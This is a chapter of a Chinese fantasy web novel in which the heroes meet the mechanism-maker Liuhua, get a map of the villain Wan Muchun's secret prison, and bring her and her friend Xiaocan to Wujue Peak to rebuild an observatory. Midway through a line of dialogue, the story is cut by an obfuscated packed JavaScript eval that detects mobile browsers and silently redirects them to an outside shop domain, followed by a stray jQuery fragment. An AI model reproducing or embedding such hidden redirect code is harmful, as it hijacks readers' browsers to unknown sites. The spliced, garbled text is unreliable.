觉察出自己的冒犯,凌云志紧忙收回自己的目光,“抱歉,我……”刚想为自己辩解,然一开口,凌云志却又出现了越描越黑的预感,一时之间,凌云志心里万分焦急却又找不到合适的表达。
“免了,”反倒是榴花随意地摆了下手,“算你无心,我大人有大量,勉强原谅你这一回。”
“我不是有意的,”凌云志最终还是补上了自己的后半句。
榴花看似无意地拨了下自己额间的碎发,然后整片胎记更加完整得呈现在了众人眼前。
凌云志皮笑肉不笑地干笑了下,尴尬地遮住了自己的半边脸,向小秋姐姐投去一个求救的目光。
听到“榴花”这个名字,采取银泉草时的记忆瞬间涌进度春秋脑海,她与袁如一对视一眼,互换了一个信息——小参口中的那个朋友,就是眼前的她吗?
停顿了片刻,袁如一还是点了点头。
思索中,度春秋又成功接收到了来自凌云志的这道目光,因此,度春秋转过脸,试探性问道:“小参,是你朋友吗?”
“你们见过小参?”度春秋话音刚落,榴花即瞬间坐正了身子,语气里尽是惊讶。
“见过,小参是个采药人,我们也是从她口中得知,你的手很灵巧,设计机关的手艺一流,”度春秋点头道。
小参眯起眼,目光变得更加警惕,在饭桌上来来回回地打量起来。
“你口中的那个大魔头,有清楚他的名字吗?”袁如一出声打破了略显僵持的局面,接着道:“那个大魔头,请你设计的又是一处什么样的机关呢?”
榴花犹豫良久,却只道:“我不想告诉你们。”
“你告诉我们,或许我们还可以帮你,”听了这话的凌云志猛地转回身,道。
榴花垂下眸子,抿抿唇角,眉头舒了皱,皱了舒……
“我知道,你叫凌云志,”最终,似乎已然下定决心的榴花猛然抬眸,指指凌云志,可不等凌云志点头或者摇头,她的指尖,又转向了尚温,道:“你叫尚温,”等到尚温点头,她的指间又随着她的视线一起,转向了尚温身边的不落凡,道:“你是?”
“不落凡,”不落凡没有犹豫,很快随声应答。
榴花点点头。
见她的指头指向自己,不等榴花开口,袁如一即先一步回道,“袁如一。”
听到“袁如一”的名字,榴花的眸光跳了下,托起下巴问道:“你是五绝峰的人?”
“你知道五绝峰?”袁如一“哦”了一声,颇感有趣道。
“知道啊,”榴花道:“五绝峰二绝林海关,关内的万机弩,可是个好东西,不过可惜了,”说着,她还啧啧两声。
袁如一目光在她身上顿了顿。
榴花侧了下脑袋,接着道:“袁如一的名字,近来也算有所耳闻,不过却是随着另一人的名字一起。但在袁如一之前,五绝峰上还有一人,我很感兴趣,不过,也可惜了。”
听了她的话,袁如一心里便有了数,心情沉了沉,道:“是问星吗?”
许是因为袁如一猜中了她心中所想,榴花也显出了几分兴致,只不过,在听到问星的名字后,榴花的神情又添几分惋惜,耸耸肩,道:“是她,她的观星台,我很感兴趣,她脑袋里的东西,我也很感兴趣,前些年,我有想过去你们五绝峰一探虚实,可惜,可惜……”
她的话没有接下去,可后来发生了什么,所有人都已知晓。
“想必,你就是传闻中的度春秋吧,”视线转向饭桌上她不认识的最后一人,榴花反而笑了下,道:“两个眼睛两个耳朵一个鼻子一个嘴巴,不也和我们一样嘛。”
“是啊,”度春秋点点头,道:“我们大家,都一样。”
对于度春秋的这个回答,榴花似乎很是满意,顿了下,又道:“你要小心点,那个大魔头,可在乎你了呢。”
“怎么说?”度春秋也跟着弯了下唇角,追问道。
榴花环起双臂,“我也是偶然间偷听到的,那个大魔头很讨厌你,被他抓去的人也不止我一个,他要我们为他设计一处机关密布,一处连耗子都逃不出去的密室牢笼,”榴花语音越拉越长,忽地,她话锋一转,又道:“都说你很聪明,那我考考你,你能猜到,那个大魔头的名字是什么吗?”
“谬赞罢了,”度春秋只道。
“你猜到了,”盯着度春秋的眼睛,榴花倒坚定了口气。
“容我大胆猜下,那人是万木春,对吗?”度春秋又道。
“对,”榴花闻言,笑了,拍拍手掌,半晌,接着道:“你猜,那座密牢,是不是为你们,尤其是为你度春秋而准备的?”
度春秋神色坦然,转口问道:“密牢修得怎么样了?”
“已经修好了,”榴花的眸子沉了沉,“所以说,他才要灭口啊。”
“灭口?!”凌云志激动出声。
“没错,”榴花道:“我想应该没有人,比我更走运了。”
又是人命——
“修好的密牢在哪里?你还记得吗?”度春秋握握拳头,问道。
榴花闻言,指指自己的脑袋,“纸笔有吗?我送你们张地图。”
度春秋起身拿来纸笔,而榴花不愧是设计机关的能手,画起地图,手也是稳得厉害,线条干净利落,路线极为清晰,但若细看便会发现,在地图上,密牢的内部结构却是残缺的。
一番审视过后,榴花拿起地图,轻轻吹干上面的墨痕,道:“密牢内部的情况,我知道的就只有这么多。”
“多谢,”接过地图,度春秋认真道。
“不谢,”榴花拱拱手,却道:“就此别过,后会有期。”
“倘若他们也猜到你回去,倘若他们也会追你追到那处亦或是拿小参逼你妥协怎么办?”眼见此人果真要转身离开,袁如一忍不住出声提醒道。
榴花勾了下唇,拿小参威胁吗?那些人难道没有干过吗?恨意一闪而过,她继续出声道:“我会尽力先一步赶回去,毕竟,不管我死我活,只要不见尸体,小参就会在那里一直等下去,这是我们先前的约定,但这次,倘若我回去了,他们再拿小参威胁我,我就跟小参说活没干好,钱没赚够,跟他们走的时候,我也会想办法告诉小参,榴花我去过自己的富贵日子了,至于小参,不要再在那鸟不拉屎的破地方傻乎乎苦等了。”
“你们感情很好?”听完这番话,凌云志只觉自己心底酸乎乎的,忍不住问道。
“好不好的,谁知道呢?”榴花耸耸肩,满不在乎道。
“你知道吗,”袁如一深吸了口气,接着笑了下,道:“问星留下了一本观星笔记,上面不仅记载了记载了观星台的建造之法,还记载了她所观测到的十九颗星星以及她的所有心得感受,不知道榴花你感兴趣吗?或许,你还可以帮她重建观星台,并替她看清继她之后的第二十颗星星。”
“观星笔记?”榴花眼前一亮,道:“还有这个东西吗?”
“没错,”袁如一点点头,道:“万机弩,或许,你也能找到修复之法,所以说,想去五绝峰看看吗?”
“我一个外人,你们真得会放心?”欣喜过后,榴花又泛起了怀疑。
“为什么不呢?”袁如一道:“观星台和万机弩,都在等一个懂它们的人。”
“那小参呢?”榴花接着问道。
“我们随你一起,去找小参,”袁如一拍拍胸脯道。
榴花想了想,道:“我暂时同意,”可很快,她又话锋一转,道:“不过小参同不同意,我不知道,要是小参不同意,我也要再考虑。”
“好,一言为定,”袁如一应下,紧接着,又看向身旁的度春秋。
度春秋点点头,收好了地图。
决定好了,几人便不再耽误时间,匆匆收拾好行李,再次启程。
一路上,榴花目不斜视,不管多么美的景色都不能让她分心丝毫,昼夜兼程地赶路,既不喊苦也不喊累,脚下步子还时不时默默加快。
然而,走着走着,在经过一处卖饴糖的小摊时,榴花的步子却忽地拐了个弯,走到小摊跟前,也不问价格,只是急匆匆地让老板为她包上一大包,付过银钱,给身后之人一人分了一颗,自己却是一颗不留,一边赶路,一边把剩下的饴糖重新封好。
方才那个小贩为了让自己的饴糖更受欢迎,还在包糖纸上印上了五花八门的图案,而度春秋分到饴糖,是由红色包糖纸包着,印着白色栀子花的一颗。她握着饴糖的手在半空中悬了悬,细细端详了许久,度春秋终是剥开外面糖纸,快走两步,将饴糖送进了榴花口中,并及时拦住了榴花下意识就要再次打开包装的动作。
“你怀疑我会下毒吗?”榴花含着饴糖,面带疑惑地看向度春秋,口齿不甚清晰道。
“没有,”糖纸的材质算不上好,上面的印花也算不上细致,度春秋却悄悄收起了它,抿抿唇,道:“是我自己的原因。”
榴花打量了她许久,摇摇头,嘀咕一句,“真奇怪,这世上竟真有不喜欢甜的怪人。”
榴花的评价不小心落入了袁如一的耳朵,收好手中饴糖,袁如一赶到度春秋身旁,对着榴花道:“没有点怪癖,怎么称得上传说?”
度春秋宁了他一眼。
袁如一笑着摊了下手。
反倒是榴花,露出认同的模样,道了声“也是”。
许是吃了糖的缘故,几人赶路速度又提升了一大截。
第二天,就在日头刚刚从远处山头上移走时,他们即赶回了一个简陋山洞。
天色渐晚,可山洞里却并没有小参的身影,洞口处晾晒着被她采摘回来的药草,山洞中央的篝火眼看眼要熄灭了,零星的火星里,余下一滩灰烬。
榴花站在洞口,朝着群山的方向,弯起手指,熟练地置于口中,很快,一声声清脆而嘹亮的口哨声响起,一长两短,这便是两人之间特别的暗号。
几十声后,榴花放下手指,踮起脚尖望了望远方,虽然没有见到小参,但榴花的眼中满是希冀,转过身,她带着几人走进山洞,于篝火旁坐下,道:“等一下吧,小参听到后,很快就会赶回来的。”
度春秋环顾四周,眼前这个山洞不算大,但被收拾得很干净,山洞里也不算明亮,但洞壁上却挂了许许多多五颜六色的驱虫香包,而山洞口最明亮最显眼的地方,还刻着两个手捧金元宝,哈哈大笑的小人画像,视线重新回归到榴花身上,道:“你们在这里,生活了很久了吗?”
“也没有很久,我们搬到这里,差不多一年吧,”说着,榴花抬手,轻轻抚了抚自己脸上的那块胎记,眼里少见划过一抹落寞,道:“镇子里,他们不喜欢我们这两个怪人……”
“是他们没眼光,”不等榴花说完,凌云志便斩钉截铁道,这段日子相处下来,她对榴花的了解虽说不深,但对于榴花有情有义这一点,凌云志深信不疑。
“就是就是,”不落凡也在一旁紧忙附和。
就连尚温,虽未开口,却也不自觉地点点头,以表赞同。
榴花扯扯唇角,深呼一口气,又恢复了那幅满不在乎的模样,用满不在乎的语气道:“是啊,都不算什么了,反正我们也不喜欢他们,相看两相厌的,所以,在抚养我们长大的阿婆离世后,我们就搬来了这里。”
“这里肯定是个冬暖夏凉的好地方,”凌云满怀信心道。
“没错,”榴花连连点头,“而且风水很好,能保佑我们平安发财!”
“是块宝地,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694326|203405||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不落凡抚着自己的拂尘,赞同道。
“这个山洞还是小参找到的呢,”榴花看向山洞口的画像,“她眼光好极了。”
“你也不差嘛,”凌云志拍拍她的肩膀。
就这样你一眼我一语,一来二去,聊来聊去,山洞里的气氛竟很快活络了起来。
大约一刻钟后,一阵轻快的脚步声从洞外传来,前一刻还聊得投入的榴花听到动静后,赶在所有人之前从地上弹跳起身,动作迅速地迎了上去,将其他所有人都甩在了身后。
“怎么既没穿金?又没带银?!”一道熟悉的带有特定讽刺意味的声音响起,是小参在说话,“灰头土脸的,狼狈到家了。”
没有熟悉的久别相拥,也没有熟悉的喜极而泣。
“赚了包饴糖,”对于小参的“讽刺”,榴花却是以笑相应,顿了下,她声音里的笑意敛起来了,变得正经道:“这些天,有没有什么人来找你?”
“没有,”小参回答得没有犹豫。
山洞外传来很明显的呼气声,榴花显然松了一口气。
“还想说什么?”小参的嘴里,像是已经吃上了饴糖。
榴花听上去有些犹豫,道:“我们要搬家了。”
“我就知道,”小参的脚步声继续,“搬去哪里?有打算了吗?”
“有人邀请我们去五绝峰,你觉得怎么样?”榴花赶上。
“看你,”小参说着,便对上了迎面走来的度春秋几人。
“呦,还带着贵客登门了,”认出了他们,小参啧了一声,道:“不过我们可真受欢迎,前两天,他们还邀请我们去明吾堂来着。”
“真的吗?”榴花接着问道:“你想去吗?”
“去哪里都妨碍不住我们赚钱,是吗?”小参想了想,朝着度春秋和袁如一两人问道。
袁如一被逗得笑了下,道:“我想是的。”
“那先去五绝峰吧,”小参随意地摆了下手,走进山洞——稀里哗啦,叮呤咣啷?,三两下,她背后的背篓便被塞了个满满当当,在所有人饱含震惊的目光中,她走出山洞,道:“我收拾好了。”
袁如一忍不住拍拍手掌,以表赞叹。
小参骄傲地一扬下巴,从喉咙里冒出一个“哼”。
“夜长梦多,现在就出发吧,”度春秋笑了下,道。
小参率先迈开了步子。
就在度春秋几人就要跟上时,榴花却紧忙道了句“等一下”。
只见她匆匆忙忙地跑到山洞口,在行李中翻出纸墨,动作迅速却又无比认真地完成了对那幅画像的拓印。
紧接着,榴花一边赶路,一边小心地吹干拓印好的画像,又小心地将它收好。
小参看上去心情很好,大大的背篓完全没有对她形成任何的阻碍,她的脚步始终轻盈。
等他们赶到五绝峰时,霁禾前些天带领弟子下山探查红眼蜂来源,尚未回归,因此,度春秋和袁如一两人率先带着榴花给小参去见了宁远。
在听到袁如一说榴花或许能够重建观星台时,宁远的眸子一沉,半晌,才露出一抹苦涩而又欣慰的笑。
就在翻开观星笔记的那一刻,榴花的脸上,瞬间流露出难以掩饰的欣喜,然欣喜之后,却又是落寞。
她一边摩挲着字迹,一边叹惋出无数声可惜。
接着,榴花踮起脚尖,可即使现在的观星台外表看上去与问星所绘图纸一模一样,但若通过它望向天空,眼前却是黑漆漆的一片,什么都看不到
榴花不由得“啧”了一声,忍不住叹惋道:“没能见到她,是我的遗憾。”
袁如一抿起唇,什么都没有说,在他的记忆里,大多数人印象中的问星,似乎并不是个活跃的孩子。问星最大的乐趣来自于星空,在五绝峰上,平日里,问星的朋友不算多,只是每逢月圆之夜,五绝峰上的弟子都喜欢成群结队地来到观星台处,你一言我一语,通过它,兴高采烈地遥望夜空上的那轮白玉盘。
那时,问星会站在天文台旁,兴致勃勃地给其他弟子讲述起自己的发现,但对于绝大多数弟子而言,问星的话就像是天书一般,观星笔记上的数字推论亦是晦涩难懂,弟子们听不大懂也看不大懂,只好在实在躲不过需要交流的时候,有一搭没一搭的附和几句。
寻不到知己,问星才开始也难掩失落,但时间久了,她更加致力于自己的观测,她在笔记上填上更多的图画,她向弟子们展示更加清晰的星星样貌,她编出一则又一则关于星星的故事……
如果当初,问星能够见到榴花,她们一定会有数不清的话聊吧,问星应该会感觉到像发现一颗新星星那般的开心吧,可惜,如今,只余可惜,袁如一暗暗思忖着,心情不由自主地变得沉重。
手捧观星笔记,榴花走到问星的墓前,看着墓碑,伫立良久。
“放心吧,我会修好它,或许有一天,我还能造出飞舟,飞到月亮星星上去瞧一瞧呢,”榴花忽地咧嘴一笑,挑了挑眉,那块胎记就如同是舒展了腰身的石榴花,道:“若有机会,我们星星上相会。”
可话音刚落,小参却在榴花的脑后,重重一敲,“说什么胡话呢?!你就给我好好呆在世上,好好赚你的钱,去星星上见什么见!”
榴花的感慨被中途打断了,她从情绪中抽离,继续咧着唇角,道:“这不是在畅想以后的以后嘛,”掐着指尖,又道:“现在八字别说还没一撇了,就连一点都还没有。”
小参闻声,仍以一个大大的白眼相赠,拍拍肚子,拽起榴花的衣袖,平平淡淡地开口道:“我饿了。”
榴花小心地收起观星笔记。
袁如一也让自己尽力从情绪中抽离,做了个“请”的手势,提议道:“走吧,先去吃点东西。”